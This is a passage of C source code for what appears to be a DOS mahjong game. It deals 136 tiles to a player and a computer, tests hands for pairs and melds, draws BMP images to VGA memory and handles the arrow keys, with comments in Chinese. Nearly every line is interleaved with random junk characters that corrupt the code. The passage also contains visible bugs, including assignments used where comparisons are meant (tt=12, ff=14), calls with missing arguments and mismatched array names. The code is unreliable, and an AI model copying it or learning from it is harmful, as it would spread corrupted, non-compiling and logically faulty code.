4 y( A$ {& H; w' v4 wkl=kl+2;
  W% Y+ Q9 Y* L* I) j$ o% nif(kl==8)' b: [& ]; B9 {
break;/ Z6 r% ^1 _* G  k% B- X
}
: K' L0 o; n! ~3 i. l7 o. z2 N  itest[ill++]=pt[kl];
$ R" `3 {. t+ X" z0 _6 y1 k5 M}
& Z! j: a$ v8 [) u1 l  misthree(test,tt-2); ; s. ?& F. i4 @& v  S
}& o  `# g4 a9 s8 ?6 f& e
} / N% }  P! B) p# e+ C, @
else if(tt==9)! g6 t3 U: U; w- F8 k1 S
isthree(pt,tt);
, E+ Z, ]7 m  f0 @) yelse if(tt==11)
" b8 i: ~* S; ofor(i=0;i&lt;10;i++)
' C1 M' d1 H$ H( R. R7 j) ]- A" s{  {( Q% k/ B' }. y% B
for(j=0;j&lt;2;j++)
1 `# ?# D3 m9 X{test[j]=pt[i+j];
$ |- P4 {; X" {& H}
' F' s% r% R' c  e* Kif(istwo(test))9 F: N! K" f- t6 I0 d# L! j
{ ill=0;
# u1 ?) a% u! ^( A& [( D7 C. {2 Gfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
3 o$ U  T2 t( F{if(kl==i)
  w  m/ |" e, y9 ]{
- H# Y7 X; K* Tkl=kl+2;) W/ y) i0 E  q- h& i
if(kl==11)
- L$ f* s, z% }) R# ^break;: o) q( o  ~% f* Q( _) N8 B
}7 p! j7 s2 {" `: W! ~
test[ill++]=pt[kl];* m6 ^- ]5 z5 o* w
}
/ p8 y. {) R) H+ o7 O" }- Xisthree(test,tt-2); + f; _5 J! b' q% [1 |! m
}8 [4 h5 {0 n: a9 A& k
}8 t( C2 v! N  A7 j0 U
else if(tt=12)/ n7 J) r; h' T6 G3 t
isthree(pt,tt);* p1 o. w( c" k7 p$ x$ i6 Q. `
else if(tt=14)
/ [, X# y( t- {, a% z) _1 Pfor(i=0;i&lt;13;i++)2 T$ }+ }7 l3 c5 h. b
{$ O4 W9 f0 Z" d" Y
for(j=0;j&lt;2;j++)
/ l4 e1 H& C- i# A. ?: @{test[j]=pt[i+j]; & m$ g2 F9 M$ w3 e1 i$ ~
}
4 z9 a' q/ o2 ?) U' Xif(istwo(test))) p4 q, R" M- H1 a. {$ g. N& Z7 X$ G
{ ill=0;$ u9 O9 [" i/ ~' u% t2 Q4 c+ N* p' v
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/1 c1 o9 }7 Z0 L7 \) B. D) n$ O
{if(kl==i)
( C2 q7 Q- @' Q! d" ^{
+ y# x. n- z8 @# Mkl=kl+2;: v4 d: N) C% k! V
if(kl==14)' G& E& N1 K! e: a
break;
/ j+ ?4 f+ u: q& D4 k9 H# K}
* I$ l8 W  u0 ntest[ill++]=pt[kl];
+ A3 F6 \  a, ]! {2 O9 g: e0 S' u1 \}; R1 }& O" l9 U7 ]
isthree(test,tt-2); : r; m6 h$ o/ v& e" O) G
}
4 w6 f) J1 X  b$ @% K& H" P}) z3 d) f5 k" z: N2 D9 E
if(ii==2)* u4 d) Y* L$ E2 O/ K7 z. z, S
istwo(pi);
! Z* R: M; D6 m4 I5 Welse if(ii==3)4 B5 U# H" U8 f
isthree(pi,ii);
" B; b5 V6 h4 ~2 F. D$ U' Y4 welse if(ii==5)% Z) G. b0 V1 l
/*pi[5]原始牌数组,假设已经升序排列*/. [6 ]7 Z2 i! A/ w
/*test[3]用来放置测试牌的数组*/+ j8 S2 Q( m/ l0 O9 L
for(i=0;i&lt;4;i++)1 F1 h9 Y/ E/ y4 m
{9 Q, U3 l5 z+ k- L* [. O
for(j=0;j&lt;2;j++)
. H" |1 U" Y+ g5 h{test[j]=pi[i+j]; " O6 L7 _( e8 q3 j( C: t
}
* ^6 a( y, v' r. [7 u# qif(istwo(test))( [# D) u) @% U4 u+ I( t4 E+ U7 M8 C: x
{ ill=0;7 D5 E! E. D; n) ]! ~
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/) A3 |/ X8 c* m- {$ P+ M9 n9 g
{if(kl==i)
/ z5 `+ e, F* q{- y- \- X, j7 y' m5 V. \/ d
kl=kl+2;
4 y* ]0 Z* i, @% {$ Jif(kl==5)
9 G$ V+ ^3 k) ?1 ^9 ]/ ~break;3 ?& @. V, f# _& k* f
}, `/ o4 c& f7 x4 u, Q/ V
test[ill++]=pw[kl];
% x5 \; {4 e: H+ O3 x, G}
7 u* w0 Y8 x. t* N* z# Visthree(test);: Z8 A& l2 Z7 A4 I% s
}
8 K6 X' n$ H; O! ]- v: L9 u}
; }$ A" J$ H) a7 K. d) lelse if(ii==6)
7 s1 B; X. J2 eisthree(pi,ii); ' N9 R$ I% T# ?3 ~
else if(ii==8)
" y+ H( B! z$ K4 gfor(i=0;i&lt;7;i++). }; N( s  Z! A9 E$ w  p
{' _$ ^& _3 y: P1 ~
for(j=0;j&lt;2;j++)& v  E! H' L, e
{test[j]=pi[i+j];
, h% Y  ]9 L! A3 y3 ^. P}, [; M: l- u* q8 p
if(istwo(test))
# r' }7 ~/ h1 t- i5 X. C8 i% x{ ill=0;
* q$ n. Q3 w' n+ \) qfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*// P, X1 d0 z7 o& z7 s
{if(kl==i)" L4 w) m& T( R' a
{) {0 ?0 `3 j% v5 \
kl=kl+2;4 B# y1 r8 a7 ?8 ?9 f4 W- S/ X5 L
if(kl==8)
3 W! C4 b2 S; i6 o; c3 \break;/ k1 P+ {% w5 J+ c0 Y  j" U
}
- T/ A5 f1 B6 o) c2 V# R& a# ^test[ill++]=pi[kl];
( ~  \3 y( O6 M- \}* b7 ?: \1 t& D- e6 N- V
isthree(test,ii-2);/ ]7 U4 s2 S4 w4 a5 x1 A& ~
}  `" i7 z/ F+ q7 r( t
} ) |" f1 M0 q  V! f' I/ o. q
else if(ii==9): w: _+ G" H+ S, x
isthree(pi,ii);
5 }. L, y' J. Z* T" melse if(ii==11)
# I! I( i% M3 q& Q& T: ^for(i=0;i&lt;10;i++)
6 f8 v' P( l, Z! R) e0 N$ G{
* g/ a" F* A0 C* Q5 Z2 jfor(j=0;j&lt;2;j++)# A. s3 J1 g/ E- M
{test[j]=pi[i+j];
& n' E  ~) |6 x}
( L- u: T$ D- Vif(istwo(test))
/ s, F, [) h/ U9 ~$ ^. v{ ill=0;
% W6 N! i1 [/ Xfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/, I4 r- V' u  c( _
{if(kl==i)& H1 N$ S  |, `+ E1 O" m, P
{: {" f8 B. w0 |8 L* \' |6 E
kl=kl+2;2 ?) G+ i9 B+ D3 |7 T) S% B
if(kl==11)
" J( R7 b& g- f% U& R  I( ybreak;
0 @8 i4 C! t( g/ ]* E}
8 e  M) @  F2 B# ~2 o4 A( [  ytest[ill++]=pi[kl];
+ }; l! C0 C) T  y9 q1 O/ f}. r2 W* e' l& @  G
isthree(test,ii-2);
- x1 P% K# r0 y' w}: t1 j9 V9 Q' [3 m* g
} ! r, l# i- I; c
else if(ii=12)
6 l1 _5 t3 Y  eisthree(pi,ii);
) N% s; E0 |$ Oelse if(ii=14)8 v, a; r  X5 O( \5 G
for(i=0;i&lt;13;i++)
3 \. w4 V5 G2 X, ?4 Z3 b{! i4 u5 P' J" D  C
for(j=0;j&lt;2;j++)
1 i2 r. c2 y/ L5 c{test[j]=pi[i+j]; 6 {3 ~. f9 W( F2 [3 f9 @
}
' P; z( d7 D  F9 cif(istwo(test))
  g: y5 r( r: q  A{ ill=0;
8 p3 P3 D$ u. U3 X$ h0 vfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
+ k: {/ w; `% w% r4 q{if(kl==i)6 b% v3 k" a9 q
{2 c$ K, G3 r2 _0 `5 J
kl=kl+2;1 F9 k0 h' z- f
if(kl==14)
. ~2 {$ x2 N: X, u% Tbreak;
( P2 V1 N5 r. f}3 e  \9 J9 Z$ z
test[ill++]=pi[kl];" e+ @  B' N: q8 i
}9 p. J& A. B" ?8 k8 I* ~7 e2 |, g
isthree(test,ii-2); ) f/ X7 s9 |+ T6 Q* [  T
}5 o7 w1 R1 Y& u) a! p
}
, q8 a$ ?, t! z. Y- Uif(ff==2)
" J$ [$ U7 Q2 q- r* @istwo(pf);
/ d0 y" f: G; V4 d! }  \0 ?else if(ff==3)3 d8 X* V- Q  z# L: P, P5 b
isthree(pf,ff);/ c8 o% ~$ t8 j- M+ w- I- j% v
else if(ff==5)
$ Y# E. _/ V( H4 V$ y! Y/*pf[5]原始牌数组,假设已经升序排列*/. I9 x0 v5 L3 i8 @7 B9 \
/*test[3]用来放置测试牌的数组*/
8 o  k% a/ c- l) @5 p$ mfor(i=0;i&lt;4;i++)1 V, h7 v5 D5 k6 Y# ^
{/ H1 q, p, |7 |# Z7 K1 \" T: b
for(j=0;j&lt;2;j++)2 p" w" O' c0 h- V
{test[j]=pf[i+j]; + Z. X4 d: X# b+ M  b
}& H/ R8 e. c) A: e) O
if(istwo(test))9 L8 ^% l: i: n8 G* z/ ^
{ ill=0;
# l# A; v2 {' {/ s* vfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/2 l, e9 [+ j# h' w% y3 B, f
{if(kl==i)
# \2 f& P! a( h2 i, ?5 B3 q. }{$ |# E- o; d) Y7 v3 q6 ^" a+ d
kl=kl+2;  B1 |# m2 F$ f3 G
if(kl==5)
# ]8 R' f2 \  j% s4 }& J7 N5 lbreak;
% |; p! d( d" B}
5 V) E$ Y8 K& B! ]: }( ztest[ill++]=pf[kl];
& F* ~+ K/ _! K* \* Q% h; S, T}, h5 I: `4 w3 Z* f
isthree(test);' r/ M$ R3 l' }
}5 O" H4 w& T+ j8 w8 B, b8 |* j
}0 w* Z% c4 h/ b$ W: u& m8 {) q! I
else if(ff==6): I( y2 x9 n0 q3 p3 O! ~- @
isthree(pf,ff);
' }" z: b. ?5 L$ K# f: w5 _else if(ff==8)
- \0 S- M, f( _$ S( }for(i=0;i&lt;7;i++)5 }% J! y2 ]* b/ D0 P: T
{0 ?) @; ]6 G8 j1 Q* W: C* f
for(j=0;j&lt;2;j++)
: r6 ^; f3 a6 i# ~0 J( V{test[j]=pf[i+j];
4 |  [6 c. X- a; Q}
$ p7 k& M% p' e) a) Sif(istwo(test))8 S4 w+ z( ]% m4 W3 t9 l: g7 B
{ ill=0;2 u( [6 A5 {6 h7 l9 d! |
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
+ {$ L7 s7 r8 R: x& R& Y5 f. x' D{if(kl==i); \; S7 _& t# N9 E8 T3 R
{/ A" s5 P1 ~% D( F/ p
kl=kl+2;
+ r0 m) c( [' g& h3 s4 Kif(kl==8)
5 l' ~" I1 W% y. U9 \+ _break;# S; _+ S: @3 C6 X4 c" ]
}2 A3 r( d/ C$ ?5 k& h
test[ill++]=pf[kl];0 @: I; o: q  a! j) h
}
3 i1 h* J! @. w1 U3 sisthree(test,ff-2);
$ F8 B1 ^9 v+ a& S% \- N2 k}
9 t* ~- Q# J/ ]8 j. l: Z} ) w9 H( \9 y( ~( q* H
else if(ff==9)
; ]+ w( P1 j6 K* Q1 Zisthree(pw,ww);
  B+ b# t- d: F% E; X; delse if(ff==11)1 E! K  d; f* W4 y% q
for(i=0;i&lt;10;i++): q$ G! F  |( s, ~* ^, x" o. T
{
' M/ w, k& k6 \; Ufor(j=0;j&lt;2;j++)# v8 P" o4 i: f" T
{test[j]=pf[i+j]; 2 e3 V3 s4 i& Y+ N. f" B. M+ l7 W6 r
}% v! @! g' ~" x4 B6 }8 e
if(istwo(test))9 u/ i) Y. Y' v* \" g. F
{ ill=0;
* Q1 o- J7 r  ~' [for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
7 |* B  P5 L' Y  \{if(kl==i)
) ?% d8 Y" d  Q3 z3 [$ |$ b0 O{
! y) b. s7 D" a' G! rkl=kl+2;
1 _% d- a# W9 Pif(kl==11)! b  h4 b9 w* e; |
break;
* K0 R0 _- ^* y}" _3 T: N0 d# W
test[ill++]=pf[kl];
5 r  S# I/ s# F) B. f}- H5 O4 M& X8 ^; r, w
isthree(test,ff-2); 1 Y7 r: ?5 |( Z4 X
}
. w- D' ]7 B7 A+ \( P4 F}
1 f. j0 e6 B6 x$ b3 I* |# N+ S' celse if(ff=12); @- K2 Z" [+ G
isthree(pf,ff);
6 i- @' s8 ~% c! R2 uelse if(ff=14)) W  G! U: S- Z+ d! C( l
for(i=0;i&lt;13;i++)0 u  L0 u+ W0 n5 c9 {1 Z
{
! B" y4 d; c/ ifor(j=0;j&lt;2;j++)( b8 i( Q$ j: ~% _( r1 G& T
{test[j]=pf[i+j]; % B+ `& K, x# i2 Y, @7 o
}
& B  P/ Y" D5 w! E2 V) ~) vif(istwo(test)). K% }4 ]! D0 s, C
{ ill=0;* d+ h: `0 k6 o" x- p
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
2 ?+ {/ N, T) Y* f) o% ~+ T- u{if(kl==i)! s# C8 x! L/ C- g2 P1 f
{3 s4 X6 i, P, a3 f: l3 c" l
kl=kl+2;3 \$ Z3 r* t: {9 @' c
if(kl==14)/ Y2 ?4 r$ F4 m& X+ ^! A: j; J7 h
break;/ w5 z3 P8 J( X! G+ J
}
& D: p% q. D7 @0 ztest[ill++]=pf[kl];% R9 V% w: O8 g) K
}2 S' m: R  I! N; f9 r
isthree(test,ff-2);
) l' T& F% E; }}3 n' |) r4 w) R
} 7 o- d; p6 P1 M3 N; u& d5 V
}
3 q) G6 [$ o6 E. Kvoid main(void)- R* s- t1 a& C9 m$ x
{+ P% z# K0 `: k) U6 R5 X' o* {! N
FILE *bmp;* j/ I- N- I: q# W+ o
static char *name[2]={"ff.bmp","logo.bmp"};0 n% _  p* u2 `- y2 r
char *p;
, F  }& B/ H! s7 l; Tint *lingshi;/ }; z' `) d9 ~: o
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;0 V( q/ r" k3 P0 f( E4 T' j; B  n
int every=0,w=0,x1,x2,y1,y2,every1=0;
9 n- F0 T8 E) L/ d3 L$ `9 c  Zint logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;( ?$ G* c2 }  `( Q
BYTE palette[256][3];
5 I( Q& V* k; ^1 gSETVGA;
8 x4 e& F: w) L& N0 j5 Z2 @3 @getch();
5 z& F+ Y7 I3 A# ?# s) h* Zwhile(t--)
6 _, B# i8 O8 O  ?{. g+ T2 Q8 k# F, e5 K6 |- o3 |$ |
bmp=fopen(name[t],"rb");, k: T$ e8 `( T8 w0 J/ v. f  H* A
fseek(bmp,54,SEEK_SET);
$ E) X: h6 G6 F. h+ ofor(i=0;i&lt;256;i++)( c$ v5 K8 n1 o
{/ {* A; u# w% N# @" Y
palette[2]=fgetc(bmp)&gt;&gt;2;: ~( D9 n% T/ v1 I+ ~! ~" P9 Q
palette[1]=fgetc(bmp)&gt;&gt;2;2 W5 L& g$ E! R, w* h5 P& `2 `0 @
palette[0]=fgetc(bmp)&gt;&gt;2;
: g! A: w5 K3 N7 [fgetc(bmp);" k6 u  l, {: P
Set_Palette(i,palette[0],palette[1],palette[2]);
% G, ^$ K2 |6 q  a) w4 F}
- i: Y9 f3 C; ?- p; `for (y=0;y&lt;200;y++)
; {, V! w- g3 {1 b. ~- Gfor(x=0;x&lt;320;x++)6 Z. ]8 y; r% m& e2 F6 `
pokeb(0xa000,y*320+x,fgetc(bmp));( f& m6 V: D& R
fclose(bmp);* p) B0 K: D% [; P4 \4 b  H/ L+ g* N
getch();
& Y# B, S6 T' J- E  u6 H}
" q) G: \9 S" z7 Xgetch();4 y( w" e) @6 }' r7 s- l( x
fillRectangle(0,0,320,200,0);: s" O, ]: Z+ E$ L
getch();
$ {; b% V) q. Nrandomize();
. ~& J/ E# C  @* i6 \me.m=onetothirteen;
0 V; M) K% q# d, t1 f9 Nwhile(me.m&gt;0) /*先循环,给自己拿牌*/
$ H" k' G& K" Y& ?- Q1 K- f{: s2 b: E, s+ h! l. c2 K2 l0 {
6 ]. G* M/ L4 ~+ _2 I. _
temp=random(136);
( A; M; c& T6 v% g$ s4 iif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
' A: T- w7 `- u$ U* K! _; i6 b- |{3 s# ^1 g5 f7 e% H% P- h, y
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
# |0 H/ P2 V# M/ u& I/ }; @me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
. H1 H5 M: H6 Z$ Cme.pp[n].number=temp; /*第几张,用来排序*/
. S" Q2 o8 Y" d8 r8 Qm[temp].data2=1; /*判断牌是谁的*/
/ a* s6 R" j9 \" `9 d2 c8 }kk=1;" L5 P* o- l+ W
}
+ Y+ w" B5 Y) p, e3 wif(kk==0) /*判断如果又选择了,就从新再选*/
7 g5 t( r8 e! S- Q3 D2 b{
/ S* I6 y! |) h; n5 Z" M2 _; Hme.m++;
9 A' c2 h* x  ^% m  d6 Vn--;; {* S2 A% ?, C% c
}
9 ]7 ?" \4 n6 @2 vme.m--;
. y+ N) q9 ]' i; bn++;  k$ J" l  {& A3 a# w& T  g
kk=0;
- j4 y) R, u6 W2 p# S% d  M}
. r3 W; R# d8 _% |me.m=12;
% D5 R7 h. M1 t/ qmelipai(); /*理牌*/
: y  T+ r& Q: t  L* a: t5 S2 X
. Y7 t" K6 J  X2 L6 ~& e) Un=13;, a; {) @" u# D/ `$ P$ o0 X
while(l&lt;n)' w' y" c# t  j+ L! h
{9 f* b: H/ W5 {; T" p
z=z+20;
2 Z# C, ]% ^7 D- K3 Ushowbmp(l);1 t/ h* I' f5 V$ Y- a" U4 R
l++;6 `3 w. E- K8 i# B
: t( m/ z0 g# }- z/ G
}- @- X: v# I5 [; e  B$ {" S' o
randomize();9 C6 ~7 G) U4 E: G
computer.m=oneorthirteen;3 v4 u# H$ C1 R" q
n=0;
8 C# I1 |9 Z  n. h! Xwhile(computer.m&gt;0) /*循环,给对方拿牌*/$ w- ?  P, b1 L4 o
{
) K1 [! y2 y4 a) ytemp=random(136);
4 a* J1 w; E& S: lif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)+ m3 V9 V' i1 _& X/ B+ D; f; ^
{
# f+ k6 D8 C/ B* `* l- _computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
- _+ O7 |- N# Lcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/6 l/ f# ]5 Z# K1 u
computer.pp[n].number=temp; /*第几张,用来排序*/8 x4 K2 Y" N) |7 i
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
4 g; }3 s3 q: z+ n- n9 Zkk=1;
. d7 e% {$ e( ?; X}
! j8 z. O: L+ T' E; Q8 o1 H: u: Xif(kk==0) /*判断如果又选择了,就从新再选*/
  m& h1 W$ ~; H* q7 X: G{ % x$ V$ W! t3 \, l6 p$ B  Z
computer.m++;# G7 t( {; d7 I; o8 q. M
n--;  c& v- o6 y  B5 m2 H# [
}& P! t; e0 f, h# P$ X/ f. `
computer.m--;( m5 W+ p/ ?& c7 a
n++;; u1 ]/ ~6 g$ N
kk=0;1 x5 d0 z/ m" Z7 P9 v" N- c
}  O. r! ~1 L  C. G/ u) V. L! v7 }
computer.m=12;
" I1 X2 g# D1 u6 r6 Bcomlipai(); /*电脑理牌*/
& f1 b: X; |9 C) y, Z7 j" v2 fn=13;
) Q5 F2 W' m2 W: R5 x5 _while(ll&lt;n)0 G+ e: |, t) v& ^9 x# a' f
{
8 R+ I0 A7 L3 P9 ]! R3 }1 |) czy=zy+20;  I7 z+ S1 V; D- K$ D
showybmp(ll);  y/ X8 _+ n( a9 ~- E
ll++;& W2 v9 O! u, |9 {- {* y
}  {' W( J" V& {- ~! a5 X. ]( _5 m

9 ]; L) a/ T3 Z5 y9 Ez=54400;; @2 _- {+ H8 H
while(key!=ESC)
/ e$ S0 d% y7 d  t) R{
& X2 ]+ X% h1 b' ]$ i1 o4 y% u. t* l
keyy=bioskey(0);
) u! w, [8 t" Q2 Nif(keyy==LEFT)
) u4 N3 P4 T) L' f1 z, l2 i! p{ w=1;& I, d5 e# R% v4 j& u
if(every==0)
% c4 x9 g+ |$ z/ e% D6 G' D{
1 [9 r. q  v% n: w& V+ V9 `every=1;4 b+ P8 j% _- [1 {
z=54440-5*320;
% {( y! }4 j/ V( h7 ]7 g( M
9 m, K, N2 ]% J" }2 a- F}
7 d( T' z& x6 @* A# k/ C7 |zz=zz+5*320;" h% h+ I, C4 ?, e* f: h7 g$ f
showbmp(every);
2 m: p/ H5 d% F. y- u5 Bif(every==0)
- Q8 q. A2 v0 U+ _9 z  c{
0 e" c% f: n/ `+ M* }3 tx1=20;
8 k  v/ e% Q8 ~8 Cy1=165;
  _" M7 Z6 ?- }3 b4 |7 RfillRectangle(x1,y1,x1+20,y1+4,0);" W3 M$ S/ ^  ^: {
}4 ^9 [, x+ G5 g
if(every==1)# s; H! B) ]' L! v6 ?
{
/ T2 D+ W1 G% B/ _. tx1=40;
0 W9 t( P* s3 t% b) `/ ^2 Ly1=165;, |  \* A0 E+ Q% j" {" z
fillRectangle(x1,y1,x1+20,y1+4,0);2 b& v, g; i" ?3 y# N3 R
}5 |3 P9 b4 u7 F3 |- h. Q
if(every==2)3 y8 C" c5 k0 Q/ i% ?$ P8 q5 _
{
! @* W, c5 F: k) Y6 \3 c  r' `x1=60;) f3 [: P" |* `2 A8 j4 \% |, C
y1=165;
6 S3 d  s- z  n6 C" j& ffillRectangle(x1,y1,x1+20,y1+4,0);
1 J4 `7 _& \" {; X$ o  \}
: X# n; L( Z" I3 S# Bif(every==3)8 C% V6 A) Y) x& }9 }7 X! \, t/ a
{: x! l2 `1 ^2 x5 ]5 n
x1=80;
* M% H! Z$ b: t8 Y5 X! vy1=165;" l" S; d: Z+ g3 |
fillRectangle(x1,y1,x1+20,y1+4,0);; V8 F/ m+ B( c; M
}
; e! ]5 Q. [+ j3 u/ K% O& \/ u0 [+ a5 @if(every==4)
7 V# ~" E% N6 @5 k) z6 u{  U; l0 Q  M6 P2 [& Y
x1=100;) x) q: t" D7 Z: V% P, r+ L7 a
y1=165;
# R! x+ b! c  D; e. _. _$ ^9 afillRectangle(x1,y1,x1+20,y1+4,0);
4 M: X& I& H$ y}" P9 H& r# p; G9 z0 f7 V
if(every==5), U0 e5 W  \9 C2 o: w
{
5 w4 J4 M& ]. J% k6 Ux1=120;+ o2 f5 ?( O: x! n: K9 q
y1=165;
6 E* W2 I3 J! f: e2 l# p+ zfillRectangle(x1,y1,x1+20,y1+4,0);
. L; [2 i2 h, G( S# I}+ [2 b1 t. `1 Y$ H5 k+ m1 ]# w
if(every==6)
4 C5 p/ `3 b" j" v. g3 ?3 D{# _5 ~4 I6 Q% t$ X  o
x1=140;2 g' N) o. A2 o; ^5 V# |- E
y1=165;
" L% q8 V: G( r1 c6 S+ mfillRectangle(x1,y1,x1+20,y1+4,0);7 B6 J) }  t) `
}
, X$ z. f" G* T+ E0 Eif(every==7)+ l7 T/ B# p& j: C
{
8 L1 n1 \2 J% Bx1=160;
7 G5 t% K  ]8 Y  w; i7 f; c7 Wy1=165;0 i, c2 p# P9 U% L$ ^/ ]; V
fillRectangle(x1,y1,x1+20,y1+4,0);- `' u) A8 |# l" @$ W, g% a
}
% k% ?! b  x1 V; l! Hif(every==8)
& c; n  C! j# ~{
: r( D0 x5 M6 M! Rx1=180;9 I" _5 F% Q. l1 D) H2 b. p* g
y1=165;
0 {& C& F. l* g# u4 Q8 A( {fillRectangle(x1,y1,x1+20,y1+4,0);( _( }+ J$ S: @, ]$ k- ?
}
5 F2 q$ q2 _/ @: ^' P: Q$ `& ~  ]if(every==9)
4 f% s6 r3 }$ H. a{
) U( `5 P3 x9 w' g0 f; Sx1=200;' a9 D* |$ j' s5 ?4 }
y1=165;$ O; V0 U8 j# ^3 s
fillRectangle(x1,y1,x1+20,y1+4,0);
8 `- I; E2 h. x  K9 H# C}: B" C8 P+ u, b0 v2 y, G
if(every==10). v  w% I! S3 M
{- \+ _" P  ]/ o6 _; W; y
x1=220;5 u/ \# V% x% R8 I7 y
y1=165;' z! M8 x8 ~( S5 t# }% M' c2 }9 @
fillRectangle(x1,y1,x1+20,y1+4,0);& C! F+ H' k1 ?! ?& i- G
}  M1 e; \" s( l  p5 h0 \
if(every==11)
2 y6 I$ Y6 U$ }) k3 l{% w1 K- B9 S' Z5 h
x1=240;' s& f9 A% J$ k: J, O
y1=165;9 Y+ C3 _+ C$ T. u! b9 l" }- k
fillRectangle(x1,y1,x1+20,y1+4,0);
& L9 U3 i8 ^& u5 s# H# U, r: v. n) E}
' L. [& o& f0 ?% s0 x7 P) Rif(every==12)' Q, P' `# ~$ I1 K8 R) l9 }. E
{6 g, Q" C6 h) \' l: ]
x1=260;
" X0 c( n  g8 |4 g6 v7 oy1=165;, ~: m& \; c# Z" q
fillRectangle(x1,y1,x1+20,y1+4,0);$ h( f" W2 ~! J
}
( \! x( v# U! I" jzz=0;, L  H( _4 l5 V
every--;* j2 }( A( _! f, u
z=z-20;
$ V1 Q9 m+ ~4 Z: V8 [}% J& l; }2 s6 b+ K4 s7 H$ ]( x
if(keyy==RIGHT)) U* a6 w. E8 z8 X9 b2 I/ I
{ if(w==0)
* h/ l2 \7 i) k/ h  c4 D3 _8 w1 U{. z# ^) |8 ?) S: e: d7 o
z=54440-5*320;; ~0 E- B2 Z; O# m. b2 N! K' r
z=z-20;+ n  z( b5 ~( Q, r
w=1;
% X: h/ l  k1 V& J, n7 H}
8 k6 @% P3 b# B) t& g) l$ a8 z1 ]if(every==12) % n- G1 k2 l' n! F" L0 L. X. t
{
4 l. f: T1 B$ \* v4 K, Hevery=11;# s, D5 I0 `5 _5 [, F
z=54640-5*320;' C1 H% j1 t) d. O9 s: T7 {* [
}3 S* A6 w7 N" R9 q1 H  Z% N
zz=zz+5*320;3 }0 [+ t% Z# q: ^+ M3 s' a0 a
showbmp(every);+ r. c9 C: p: U4 S
if(every==0)5 P' q* L+ E; s0 I  ]5 u( \  _
{
$ c" h& ?& B% O1 ]: J" sx1=20;
. N; {( d3 W' g+ ]y1=165;
' s( G* l" N* p. K% a6 k1 dfillRectangle(x1,y1,x1+20,y1+4,0);6 h' A9 v7 i- B8 }- f! T, U3 d1 e
}
( z+ ?% Y7 y+ W1 g6 f/ e( A% Mif(every==1)
6 m/ E) I. n5 Q; V- v; h) d{' Y+ I0 b0 Z$ ?2 Y7 B
x1=40;
5 O# j: N2 q6 [5 V! @y1=165;$ g% r9 }& C+ n  Y+ ]6 Q. j
fillRectangle(x1,y1,x1+20,y1+4,0);
7 A- D* h! [# e( N% S6 \( T}
5 S, k. |& D6 s* Oif(every==2)- L7 ~% P7 D+ v# N$ g* ?6 J7 G
{
! r2 H6 p0 k' [8 i( _( Mx1=60;
  W+ \: K5 Q; O1 r$ ~y1=165;- k: V" [/ x. n
fillRectangle(x1,y1,x1+20,y1+4,0);* `8 W( w8 c$ m) K' H
}  O! i& e  T+ c; R
if(every==3)
: E0 @% m5 A% W/ ~5 v{
% G# z2 v% y) Y4 i1 s! ]9 w+ P, dx1=80;
5 N0 Q  ^! @7 E+ Q8 Q% _( Ey1=165;
' V, ^2 z% @6 @- afillRectangle(x1,y1,x1+20,y1+4,0);
! i  u$ Y2 D. a; Z% ~}2 n; k) A" ^4 S7 P' c* N
if(every==4)
7 N7 N/ \) o- g* N* f1 F{
2 B% z7 r; `0 L+ f. zx1=100;
2 I8 r: c$ W' q: o8 d. Fy1=165;( r0 V, V4 U) h7 Q& i
fillRectangle(x1,y1,x1+20,y1+4,0);) ~" F3 z' O+ a0 e. x& v
}
2 j* Y4 K6 f$ F7 fif(every==5)8 X, I- y) I/ J! X$ E3 p7 H6 A
{
7 M* y  j: q) }x1=120;4 [* T6 M6 G, J3 T# d5 C8 D3 R
y1=165;. h0 ~/ b- J) r
fillRectangle(x1,y1,x1+20,y1+4,0);
" b9 B% X3 `4 g1 \4 u) @}
3 l' K  f" i( _+ e. wif(every==6)
7 x8 q; C: e; {) `; R. o6 R2 D{$ O0 S* E2 A, U$ `* ?1 a% d& E
x1=140;
$ Z$ a# B1 |; w* J  g' g/ c9 Py1=165;
* k" f1 S/ _  v* AfillRectangle(x1,y1,x1+20,y1+4,0);
' J6 e4 |9 ^$ z5 P}' y& d6 e3 A0 f+ y" n! G( r/ B
if(every==7)
; @$ _/ m, z. B3 D( l- f% W" _{
8 \9 ]" L& Y" w/ h: M3 _# [$ ^0 ]  Cx1=160;) c" }+ l5 M' ^9 L" T6 _" [: V
y1=165;
3 F( R. M6 V: nfillRectangle(x1,y1,x1+20,y1+4,0);5 t4 t& F7 v$ L- T; c3 W6 v; S& H
}( M4 d: A9 w9 T+ I
if(every==8)1 C  V$ Q4 w6 r# `2 {
{2 p" Y& p7 @; |: k% g- o
x1=180;$ ~: \! G3 Y1 Q' U: D" h
y1=165;. u. p# x+ z7 ?. D
fillRectangle(x1,y1,x1+20,y1+4,0);; F. D; m& E. g9 _. D
}$ c( u) {! r- l. I( [
if(every==9)
1 L+ h! e! n& _+ `{8 }! V2 e1 R( ~4 t1 L( J# a% c
x1=200;
# p7 \2 V" P' o1 C7 q2 ry1=165;
" n' h  q; e, S& ~- a/ ]fillRectangle(x1,y1,x1+20,y1+4,0);
9 V# a& ?7 u' I+ Z2 l}* c7 w. c3 D7 R( W% R. u* l
if(every==10)
# Q# S! V" y5 i2 A) z{
